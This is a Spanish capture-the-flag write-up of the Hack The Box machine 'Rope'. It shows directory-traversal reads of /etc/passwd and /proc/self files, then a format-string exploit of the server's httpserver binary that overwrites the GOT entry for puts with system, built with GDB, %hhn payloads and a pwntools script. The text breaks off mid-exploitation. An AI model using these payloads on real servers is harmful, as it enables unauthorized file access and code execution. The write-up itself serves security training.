Rope
41 minutos de lectura
john
. Este usuario puede ejecutar otro binario como el usuario r4j
. Este binario utiliza una librería externa que podemos modificar debido a los permisos que tiene y ganar acceso como r4j
. Finalmente, existe otro binario que ejecuta un servidor de socket en local, podemos acceder al binario y analizarlo para encontrar una vulnerabilidad de Buffer Overflow. El binario tiene todas las protecciones activas, pero sigue siendo explotable para conseguir RCE como root
- SO: Linux
- Dificultad: Insana
- Dirección IP: 10.10.10.148
- Fecha: 03 / 08 / 2019
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.10.148 -p 22,9999
Nmap scan report for 10.10.10.148
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)
| 256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)
|_ 256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)
9999/tcp open abyss?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache
| Content-length: 4871
| Content-type: text/html
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <title>Login V10</title>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <!--===============================================================================================-->
| <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
| <!--===============================================================================================-->
| <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
| <!--===============================================================================================-->
| <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
|_ <!--===============================================
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 146.57 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 9999 (HTTP).
Enumeración
Si vamos a http://10.10.10.148:9999
, veremos un formulario de inicio de sesión:
Podemos probar algunas credenciales, pero vemos “File not found”:
Vamos a aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.148:9999/FUZZ
images [Status: 200, Size: 225, Words: 9, Lines: 3, Duration: 52ms]
css [Status: 200, Size: 317, Words: 11, Lines: 4, Duration: 298ms]
js [Status: 200, Size: 226, Words: 9, Lines: 3, Duration: 37ms]
vendor [Status: 200, Size: 1011, Words: 25, Lines: 11, Duration: 4466ms]
fonts [Status: 200, Size: 643, Words: 17, Lines: 7, Duration: 64ms]
Si vamos a algunas de las rutas de arriba, veremos un listado de directorios:
Vamos a probar con otro diccionario para probar vulnerabilidades de navegación de directorios:
$ ffuf -w $WORDLISTS/wfuzz/Injections/Traversal.txt -u http://10.10.10.148:9999/FUZZ
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 273, Words: 21, Lines: 10, Duration: 538ms]
../../../../../../../../../../../../etc/hosts%00 [Status: 200, Size: 273, Words: 21, Lines: 10, Duration: 539ms]
../../../../../../../../../../../../etc/passwd%00 [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 539ms]
/../../../../../../../../../../../etc/passwd%00.jpg [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 540ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 540ms]
/./././././././././././etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 562ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 577ms]
/../../../../../../../../../../../etc/passwd%00.html [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 577ms]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 79ms]
Vaya, eso era inesperado.
Acceso a la máquina
Entonces, podemos leer /etc/passwd
(realmente, solamente tenemos que agregar la ruta a la URL):
$ curl 10.10.10.148:9999//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
$ curl 10.10.10.148:9999//etc/passwd -s | grep sh$
root:x:0:0:root:/root:/bin/bash
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
Perfecto, hay tres usuarios disponibles en la máquina: root
, r4j
y john
.
Explotación de Directory Path Traversal
En este punto, vamos a enumerar la tecnología que está detrás del servidor web. Podemos extraer esta información mirando en /proc/self/cmdline
:
$ curl 10.10.10.148:9999//proc/self/cmdline -vso -
* Trying 10.10.10.148:9999...
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET //proc/self/cmdline HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-cache
< Content-length: 0
< Content-type: text/plain
<
* Connection #0 to host 10.10.10.148 left intact
$ nc 10.10.10.148 9999 <<< $'GET //proc/self/cmdline HTTP/1.1\n\n'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 0
Content-type: text/plain
Pero no sale nada… Vamos a listar el directorio /proc/self
:
Parece que todos los archivos están vacíos, a excepción de /proc/self/exe
, que es un enlace simbólico al binario que está siendo ejecutado.
Podemos descargarlo y analizarlo. De hecho, se trata de un ELF de 32 bits:
$ curl 10.10.10.148:9999//proc/self/exe -so exe
$ file exe
content/exe: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped
Además, podemos acceder a /proc/self/cwd
y listar todos los archivos en el directorio actual de trabajo del binario:
El binario se llama httpserver
, y usa run.sh
para correr (obviamente):
$ curl 10.10.10.148:9999//proc/self/cwd/run.sh
#!/bin/bash
source /home/john/.bashrc
while true;
do cd /opt/www;
./httpserver;
done
Analizando el binario httpserver
Para analizar el binario, podemos usar Ghidra y ver el código en C descompilado. Esta es la función main
:
void main(int param_1, int param_2) {
int iVar1;
int iVar2;
int in_GS_OFFSET;
socklen_t local_140;
int local_13c;
char *local_138;
int local_134;
int local_130;
int local_12c;
int local_128;
sockaddr local_124;
char local_114[256];
undefined4 local_14;
undefined4 *puStack16;
iVar1 = param_2;
iVar2 = param_1;
puStack16 = ¶m_1;
local_14 = *(undefined4 *) (in_GS_OFFSET + 0x14);
local_13c = 9999;
local_138 = getcwd(local_114, 0x100);
local_140 = 0x10;
if (iVar2 == 2) {
if ((**(char **) (iVar1 + 4) < '0') || ('9' < **(char **) (iVar1 + 4))) {
local_138 = *(char **) (iVar1 + 4);
iVar2 = chdir(*(char **) (iVar1 + 4));
if (iVar2 != 0) {
perror(*(char **) (iVar1 + 4));
/* WARNING: Subroutine does not return */
exit(1);
}
} else {
local_13c = atoi(*(char **) (iVar1 + 4));
}
} else if (iVar2 == 3) {
local_13c = atoi(*(char **) (iVar1 + 8));
local_138 = *(char **) (iVar1 + 4);
iVar2 = chdir(*(char **) (iVar1 + 4));
if (iVar2 != 0) {
perror(*(char **) (iVar1 + 4));
/* WARNING: Subroutine does not return */
exit(1);
}
}
local_134 = open_listenfd(local_13c);
local_130 = local_134;
if (0 < local_134) {
printf("listen on port %d, fd is %d\n", local_13c, local_134);
signal(0xd, (__sighandler_t) 0x1);
signal(0x11, (__sighandler_t) 0x1);
while (true) {
do {
local_12c = accept(local_134, &local_124, &local_140);
} while (local_12c < 0);
local_128 = process(local_12c, &local_124);
if (local_128 == 1) break;
close(local_12c);
}
/* WARNING: Subroutine does not return */
exit(0);
}
perror("ERROR");
/* WARNING: Subroutine does not return */
exit(local_134);
}
Básicamente, inicia un servidor de socket en el puerto 9999 y espera por conexiones. En cuanto llega una conexión, se pasa a la función process
:
undefined4 process(int param_1, undefined4 param_2) {
__pid_t _Var1;
undefined4 uVar2;
int __fd;
int in_GS_OFFSET;
undefined4 local_884;
stat local_870;
char local_818[2048];
int local_18;
int local_14;
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
_Var1 = fork();
if (_Var1 == 0) {
if (param_1 < 0) {
uVar2 = 1;
} else {
_Var1 = getpid();
printf("accept request, fd is %d, pid is %d\n", param_1, _Var1);
parse_request(param_1, local_818);
local_884 = 200;
__fd = open(local_818, 0, 0);
if (__fd < 1) {
local_884 = 0x194;
client_error(param_1, 0x194, "Not found", "File not found");
} else {
fstat(__fd, &local_870);
if ((local_870.st_mode & 0xf000) == 0x8000) {
if (local_14 == 0) {
local_14 = local_870.st_size;
}
if (0 < local_18) {
local_884 = 0xce;
}
serve_static(param_1, __fd, local_818, local_870.st_size);
} else if ((local_870.st_mode & 0xf000) == 0x4000) {
local_884 = 200;
handle_directory_request(param_1, __fd, local_818);
} else {
local_884 = 400;
client_error(param_1, 400, "Error", "Unknow Error");
}
close(__fd);
}
log_access(local_884, param_2, local_818);
uVar2 = 1;
}
} else {
uVar2 = 0;
}
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
uVar2 = __stack_chk_fail_local();
}
return uVar2;
}
Aquí podemos ver algunas funciones interesantes: parse_request
, client_error
, serve_static
, handle_directory_request
y log_access
. Vamos a mirar esta última:
void log_access(undefined4 param_1, int param_2, char *param_3) {
int iVar1;
uint16_t uVar2;
char *pcVar3;
int in_GS_OFFSET;
iVar1 = *(int *) (in_GS_OFFSET + 0x14);
uVar2 = ntohs(*(uint16_t *) (param_2 + 2));
pcVar3 = inet_ntoa((in_addr) ((in_addr *) (param_2 + 4))->s_addr);
printf("%s:%d %d - ", pcVar3, (uint) uVar2,param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400);
if (iVar1 != *(int *) (in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
¿Puedes verla? Digo, la vulnerabilidad. Esta función tiene una vulnerabilidad de Format String, ya que param_3
se pasa como primer argumento a printf
. Esta variable param_3
es la variable local_818
de la función process
, la cual contiene la URI pedida al servidor. Por tanto, podemos controlar esta variable y explotar la vulnerabilidad.
Preparación del exploit
Para ello, vamos a ejecutar httpserver
en local. Sería bueno descargar la librería Glibc y el loader de la máquina remota, pero el servidor no muestra el cuerpo de respuesta al solicitar /proc/self/maps
:
$ curl 10.10.10.148:9999//proc/self/maps -vso -
* Trying 10.10.10.148:9999...
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET //proc/self/maps HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-cache
< Content-length: 0
< Content-type: text/plain
<
* Connection #0 to host 10.10.10.148 left intact
Vamos a mirar la función parse_request
:
void parse_request(undefined4 param_1, int param_2) {
size_t sVar1;
int in_GS_OFFSET;
char *local_1028;
int local_1024;
undefined local_101c[1036];
char local_c10;
char local_c0f;
char local_c0e;
char local_810[1024];
char local_410;
char acStack1039[1023];
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
*(undefined4 *) (param_2 + 0x800) = 0;
*(undefined4 *) (param_2 + 0x804) = 0;
rio_readinitb(local_101c, param_1);
rio_readlineb(local_101c, &local_c10, 0x400);
__isoc99_sscanf(&local_c10, "%s %s", local_810, &local_410);
while ((local_c10 != '\n' && (local_c0f != '\n'))) {
rio_readlineb(local_101c, &local_c10, 0x400);
if ((local_c10 == 'R') && ((local_c0f == 'a' && (local_c0e == 'n')))) {
__isoc99_sscanf(&local_c10, "Range: bytes=%lu-%lu", param_2 + 0x800, param_2 + 0x804);
if (*(int *) (param_2 + 0x804) != 0) {
*(int *) (param_2 + 0x804) = *(int *) (param_2 + 0x804) + 1;
}
}
}
local_1028 = &local_410;
if (local_410 == '/') {
local_1028 = acStack1039;
sVar1 = strlen(local_1028);
if (sVar1 == 0) {
local_1028 = "./index.html";
} else {
for (local_1024 = 0; local_1024 < (int) sVar1; local_1024 = local_1024 + 1) {
if (local_1028[local_1024] == '?') {
local_1028[local_1024] = '\0';
break;
}
}
}
}
strcpy((char *) (param_2 + 0x400), local_810);
url_decode(local_1028, param_2, 0x400);
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
Hay un punto en el que el programa mira si está la cabecera Range
. Esta cabecera se puede usar para indicar al servidor la cantidad de bytes que queremos recibir. Vamos a probar:
$ curl 10.10.10.148:9999//proc/self/maps -H 'Range: bytes=0-1000000'
565ab000-565ac000 r--p 00000000 08:02 46784 /opt/www/httpserver
565ac000-565ae000 r-xp 00001000 08:02 46784 /opt/www/httpserver
565ae000-565af000 r--p 00003000 08:02 46784 /opt/www/httpserver
565af000-565b0000 r--p 00003000 08:02 46784 /opt/www/httpserver
565b0000-565b1000 rw-p 00004000 08:02 46784 /opt/www/httpserver
57c42000-57c64000 rw-p 00000000 00:00 0 [heap]
f7dad000-f7f7f000 r-xp 00000000 08:02 46904 /lib32/libc-2.27.so
f7f7f000-f7f80000 ---p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f80000-f7f82000 r--p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f82000-f7f83000 rw-p 001d4000 08:02 46904 /lib32/libc-2.27.so
f7f83000-f7f86000 rw-p 00000000 00:00 0
f7f8f000-f7f91000 rw-p 00000000 00:00 0
f7f91000-f7f94000 r--p 00000000 00:00 0 [vvar]
f7f94000-f7f96000 r-xp 00000000 00:00 0 [vdso]
f7f96000-f7fbc000 r-xp 00000000 08:02 46900 /lib32/ld-2.27.so
f7fbc000-f7fbd000 r--p 00025000 08:02 46900 /lib32/ld-2.27.so
f7fbd000-f7fbe000 rw-p 00026000 08:02 46900 /lib32/ld-2.27.so
ffea8000-ffec9000 rw-p 00000000 00:00 0 [stack]
curl: (18) transfer closed with 998488 bytes remaining to read
Genial, hemos podido obtener el archivo correctamente. Además, podemos aplicar la misma cabecera para leer /proc/self/cmdline
y /proc/self/environ
:
$ curl 10.10.10.148:9999//proc/self/cmdline -H 'Range: bytes=0-1000000' -so -
./httpserver
$ curl 10.10.10.148:9999//proc/self/environ -H 'Range: bytes=0-1000000' -so - | tr '\0' '\n'
LANG=en_US.UTF-8
SUDO_GID=0
USERNAME=john
SUDO_COMMAND=/opt/www/run.sh
USER=john
PWD=/opt/www
HOME=/root
SUDO_USER=root
SUDO_UID=0
MAIL=/var/mail/john
TERM=unknown
SHELL=/bin/bash
SHLVL=1
LOGNAME=john
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
OLDPWD=/root
_=./httpserver
El archivo /proc/self/maps
será útil para la explotación de Format String, ya que tenemos la dirección base del binario y de Glibc. De hecho, el binario está protegido con NX, PIE y el canario:
$ checksec httpserver
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Por tanto, para calcular una dirección de una función en tiempo de ejecución, tenemos que usar una dirección base y el correspondiente offset (ya sea del binario o de Glibc), ya que ASLR está habilitado en la máquina (aparece un 2
en /proc/sys/kernel/randomize_va_space
):
$ curl 10.10.10.148:9999//proc/sys/kernel/randomize_va_space -H 'Range: bytes=0-1000000' -so -
2
Explotación de Format String
Vamos a ejecutar el binario en local:
$ ./httpserver
listen on port 9999, fd is 3
Ahora podemos ver la vulnerabilidad de Format String (nótese que %x
tiene que ser codificado en URL como %25x
):
$ curl 127.0.0.1:9999
File not found
$ curl 127.0.0.1:9999/%25x.%25x.%25x.%25x
File not found
El payload funciona, ya que vemos algunos valores en hexadecimal (%x
es una format string que muestra un valor como número hexadecimal), que son datos de la pila (stack):
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 67081
127.0.0.1:34232 404 - ./index.html
request method:
GET
accept request, fd is 4, pid is 67139
127.0.0.1:34236 404 - f7f8f0dc.85bc.194.ffca3898
request method:
GET
Para poder explotar una vulnerabilidad de Format String como esta, tenemos que obtener la posición en la pila donde se almacena nuestro payload (sí, el payload que le pasamos al binario se almacena en el stack también):
$ curl 127.0.0.1:9999/$(python3 -c 'print("%25x." * 100)')
File not found
$ ./httpserver
listen on port 9999, fd is 3
...
accept request, fd is 4, pid is 78524
127.0.0.1:34254 404 - f7f8f0dc.85ce.194.ffca3898.ffca3084.ffca38dc.194.ffca3898.f7facad4.2e.91acc300.56659000.f7f74000.ffca3898.566566e3.194.ffca38dc.ffca3084.56657401.ffca3054.ffca3050.ffca38dc.4.f7fc2000.f7f965d0.194.0.ffffffff.56657401.ffca3050.42dedaf.ffca30e4.f7f8e3e0.f7f8e760.1.0.1.f7f76098.f7f74000.5712f008.f7e85ea0.5712f000.f7e85f58.57130000.85bdb5ef.f7f8e2d0.ffca30e4.f7d9bd81.f7fa16bd.f7d901fc.f7f74740.1000.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
request method:
GET
Si contamos los puntos, veremos que nuestro payload aparece en la posición 53. Podemos comprobarlo mediante %53$x
(codificado como %2553%24x
):
$ curl 127.0.0.1:9999/%2553%24x
File not found
$ curl 127.0.0.1:9999/ABCD%2553%24x
File not found
$ ./httpserver
listen on port 9999, fd is 3
...
accept request, fd is 4, pid is 82102
127.0.0.1:34264 404 - 24333525
request method:
GET
accept request, fd is 4, pid is 82381
127.0.0.1:34268 404 - ABCD44434241
request method:
GET
Como se puede observar, si enviamos %53$x
, recibimos 24333525
, que es %53$x
en formato hexadecimal (little-endian). Y si añadimos ABCD
al principio, vemos ABCD
más 44434241
(que es ABCD
en formato hexadecimal, little-endian).
Las vulnerabilidades de Format String no solamente permiten leer valores arbitrarios de la pila, también permiten escribir datos arbitrarios usando %n
. La manera en la que %n
funciona es que escribe el número de bytes impresos hasta la format string (%n
) en la dirección que está referenciada. Por ejemplo, introducir 1234%5$n
en printf
significa escribir 4
en la dirección que aparece en la quinta posición de la pila.
Como tenemos control sobre la pila a partir de la posición 53, podemos añadir una dirección arbitraria ahí y escribir datos arbitrarios en dicha dirección usando %53$n
. Además, si tuviéramos que imprimir una gran cantidad de bytes, podríamos abusar de otra format string, que es %c
. Al usar %1234c
imprimiremos 1234 espacios en blanco (en lugar de enviar dicha cantidad de caracteres).
Entonces, ¿cuál es la estrategia de explotación? Como el binario tiene Partial RELRO, entonces podemos modificar la Tabla de Offsets Globales (Global Offset Table, GOT). Esta tabla contiene las direcciones de las funciones externas en tiempo de ejecución (si han sido llamadas al menos una vez, si no, apuntan a otra dirección para realizar la resolución de direcciones).
La idea es modificar la dirección de una función de Glibc para que apunte a system
. Las mejores funciones para esto son las que reciben una string como primer argumento (por ejemplo, printf
, strlen
o puts
), la que luego podemos introducir directamente una string con un comando de sistema que será ejecutado por system
.
Vamos a usar GDB para depurar un poco. Como se trata de un servidor que usa fork
, tenemos que poner las siguientes configuraciones:
$ gdb -q httpserver
Reading symbols from httpserver...
(No debugging symbols found in httpserver)
gef➤ set follow-fork-mode child
gef➤ set detach-on-fork off
gef➤ run
Starting program: ./httpserver
listen on port 9999, fd is 3
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ got
GOT protection: Partial RelRO | GOT functions: 43
[0x5655a00c] setsockopt@GLIBC_2.0 → 0xf7ecb570
[0x5655a010] strcmp@GLIBC_2.0 → 0x56556046
[0x5655a014] read@GLIBC_2.0 → 0x56556056
[0x5655a018] printf@GLIBC_2.0 → 0xf7e16d30
[0x5655a01c] memcpy@GLIBC_2.0 → 0x56556076
[0x5655a020] inet_ntoa@GLIBC_2.0 → 0x56556086
...
[0x5655a040] strcpy@GLIBC_2.0 → 0x56556106
[0x5655a044] getpid@GLIBC_2.0 → 0x56556116
[0x5655a048] puts@GLIBC_2.0 → 0x56556126
[0x5655a04c] __fxstat@GLIBC_2.0 → 0x56556136
...
[0x5655a068] getcwd@GLIBC_2.0 → 0xf7eb83a0
[0x5655a06c] strlen@GLIBC_2.0 → 0x565561b6
[0x5655a070] __libc_start_main@GLIBC_2.0 → 0xf7de1de0
[0x5655a074] write@GLIBC_2.0 → 0x565561d6
[0x5655a078] bind@GLIBC_2.0 → 0xf7ecaf30
[0x5655a07c] __isoc99_sscanf@GLIBC_2.7 → 0x565561f6
...
[0x5655a0a8] atoi@GLIBC_2.0 → 0x565562a6
[0x5655a0ac] socket@GLIBC_2.0 → 0xf7ecb660
[0x5655a0b0] close@GLIBC_2.0 → 0x565562c6
[0x5655a0b4] closedir@GLIBC_2.0 → 0x565562d6
gef➤ p system
$1 = {<text variable, no debug info>} 0xf7e08360 <system>
gef➤ continue
Continuing.
Como se puede ver, la entrada de puts
aparece en la dirección 0x5655a048
(aún no apunta a una dirección real porque no ha sido llamada aún), y system
está en 0xf7e08360
. Vamos a comenzar por sobrescribir la dirección entera de puts
por 0xff
(255). Para ello, podemos usar este payload: "%255c%56$n--\x48\xa0\x55\x56"
. Nótese que en la pila, este payload se guarda en palabras de 4 bytes (32 bits):
$ echo -ne '%255c%56$n--\x48\xa0\x55\x56' | xxd -c 4 -g 4
00000000: 25323535 %255
00000004: 63253536 c%56
00000008: 246e2d2d $n--
0000000c: 48a05556 H.UV
Nótese también que --
es solo para rellenar el payload y que las direcciones queden ajustadas a una posición del stack (particularmente, la posición 56). Antes de verificarlo, vamos a poner un breakpoint antes de la llamada vulnerable a printf
:
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ disassemble log_access
Dump of assembler code for function log_access:
0x56557077 <+0>: push ebp
0x56557078 <+1>: mov ebp,esp
0x5655707a <+3>: push esi
0x5655707b <+4>: push ebx
0x5655707c <+5>: sub esp,0x20
...
0x565570e5 <+110>: mov eax,DWORD PTR [ebp-0x24]
0x565570e8 <+113>: sub esp,0xc
0x565570eb <+116>: push eax
0x565570ec <+117>: call 0x56556060 <printf@plt>
0x565570f1 <+122>: add esp,0x10
0x565570f4 <+125>: sub esp,0xc
0x565570f7 <+128>: lea eax,[ebx-0x1e1e]
0x565570fd <+134>: push eax
0x565570fe <+135>: call 0x56556120 <puts@plt>
0x56557103 <+140>: add esp,0x10
0x56557106 <+143>: sub esp,0xc
0x56557109 <+146>: lea eax,[ebx-0x1d50]
0x5655710f <+152>: push eax
0x56557110 <+153>: call 0x56556120 <puts@plt>
...
End of assembler dump.
gef➤ break *log_access+122
Breakpoint 1 at 0x565570f1
gef➤ continue
Continuing.
También tenemos que codificar los datos:
$ curl 127.0.0.1:9999/%25255c%2556%24n--%48%a0%55%56
File not found
En este punto, la entrada de puts
en la GOT ahora debería valer 0xff
:
gef➤ got
GOT protection: Partial RelRO | GOT functions: 43
...
[0x5655a048] puts@GLIBC_2.0 → 0xff
[0x5655a04c] __fxstat@GLIBC_2.0 → 0x56556136
[0x5655a050] sendfile@GLIBC_2.1 → 0x56556146
[0x5655a054] exit@GLIBC_2.0 → 0x56556156
[0x5655a058] open@GLIBC_2.0 → 0xf7eb7120
...
gef➤ continue
Continuing.
Y ahí está. Sin embargo, tenemos que introducir un valor mucho más grande para poder poner la dirección de system
. Para conseguir esto, podemos usar %hhn
para escribir un solo byte.
Vamos a hacerlo a mano: la dirección de system
está en 0xf7e08360
, por lo que el primer byte lo sobrescribimos con 0x60
(96 en decimal), el segundo con 0x83
(131), el tercero con 0xe0
(224 en decimal), y el último con 0xf7
(247 en decimal).
Manualmente, la primera sobrescritura tiene que ser con el payload "%96c%56$hhn-\x48\xa0\x55\x56"
. Ahora para el segundo byte, el payload será "%30c%60$hhn-\x49\xa0\x55\x56"
(nótese que 30 = 131 - 96 - 4 - 1
, porque ya hemos impreso 96 caracteres, más la dirección de 4 bytes más el relleno -
; y también que estamos escribiendo en 0x5655a048 + 1 = 0x5655a049
). El tercer byte será sobrescrito con el payload "%88c%64$hhn-\x4a\xa0\x55\x56"
. Y el último byte, con "%18c%68$hhn-\x4b\xa0\x55\x56"
. Por tanto, tenemos este payload completo:
%96c%56$hhn-\x48\xa0\x55\x56%30c%60$hhn-\x49\xa0\x55\x56%88c%64$hhn-\x4a\xa0\x55\x56%18c%68$hhn-\x4b\xa0\x55\x56
Vamos a probarlo (usando codificación URL):
$ curl 127.0.0.1:9999/%2596c%2556%24hhn-%48%a0%55%56%2530c%2560%24hhn-%49%a0%55%56%2588c%2564%24hhn-%4a%a0%55%56%2519c%2568%24hhn-%4b%a0%55%56
File not found
[Attaching after process 192000 fork to child process 192115]
[New inferior 2 (process 192115)]
accept request, fd is 4, pid is 192115
[Switching to process 192115]
Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570f1 in log_access ()
gef➤ p system
$2 = {<text variable, no debug info>} 0xf7e08360 <system>
gef➤ got
GOT protection: Partial RelRO | GOT functions: 43
...
[0x5655a048] puts@GLIBC_2.0 → 0xf7e08360
[0x5655a04c] __fxstat@GLIBC_2.0 → 0x56556136
[0x5655a050] sendfile@GLIBC_2.1 → 0x56556146
[0x5655a054] exit@GLIBC_2.0 → 0x56556156
[0x5655a058] open@GLIBC_2.0 → 0xf7eb7120
...
gef➤ continue
Continuing.
[Attaching after process 203855 vfork to child process 206427]
[New inferior 3 (process 206427)]
process 206427 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "log_access" in current context.
Error in re-setting breakpoint 1: No symbol "log_access" in current context.
Error in re-setting breakpoint 1: No symbol "log_access" in current context.
[Inferior 3 (process 206427) exited normally]
¡Ahí está! Ahora puts
es system
. Recordemos la siguiente porción de código de la función log_access
:
void log_access(undefined4 param_1, int param_2, char *param_3) {
// ...
printf("%s:%d %d - ", pcVar3, (uint) uVar2,param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400);
// ...
return;
}
Entonces, si puts
es system
, podemos ejecutar lo que queramos siempre que nuestro comando esté en param_3 + 0x400
. Por el momento, vamos a comenzar a escribir el exploit en Python:
#!/usr/bin/env python3
from pwn import *
context.binary = 'httpserver'
def url_encode(url: bytes) -> bytes:
return b'%' + '%'.join(hex(byte)[2:] for byte in url).encode()
def main():
fmtstr = b'%96c%56$hhn-\x48\xa0\x55\x56%30c%60$hhn-\x49\xa0\x55\x56%88c%64$hhn-\x4a\xa0\x55\x56%18c%68$hhn-\x4b\xa0\x55\x56'
payload = url_encode(fmtstr)
http = remote('127.0.0.1', 9999)
http.sendline(b'GET /' + payload + b' HTTP/1.1\n')
http.close()
if __name__ == '__main__':
main()
He deshabilitado ASLR para realizar pruebas. Una vez que el binario está en ejecución (fuera de GDB), podemos lanzar el exploit:
$ python3 fmtstr_exploit.py
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] Closed connection to 127.0.0.1 port 9999
Como esperábamos, aparecen algúnos errores de sh
(comandos no encontrados):
$ ./httpserver
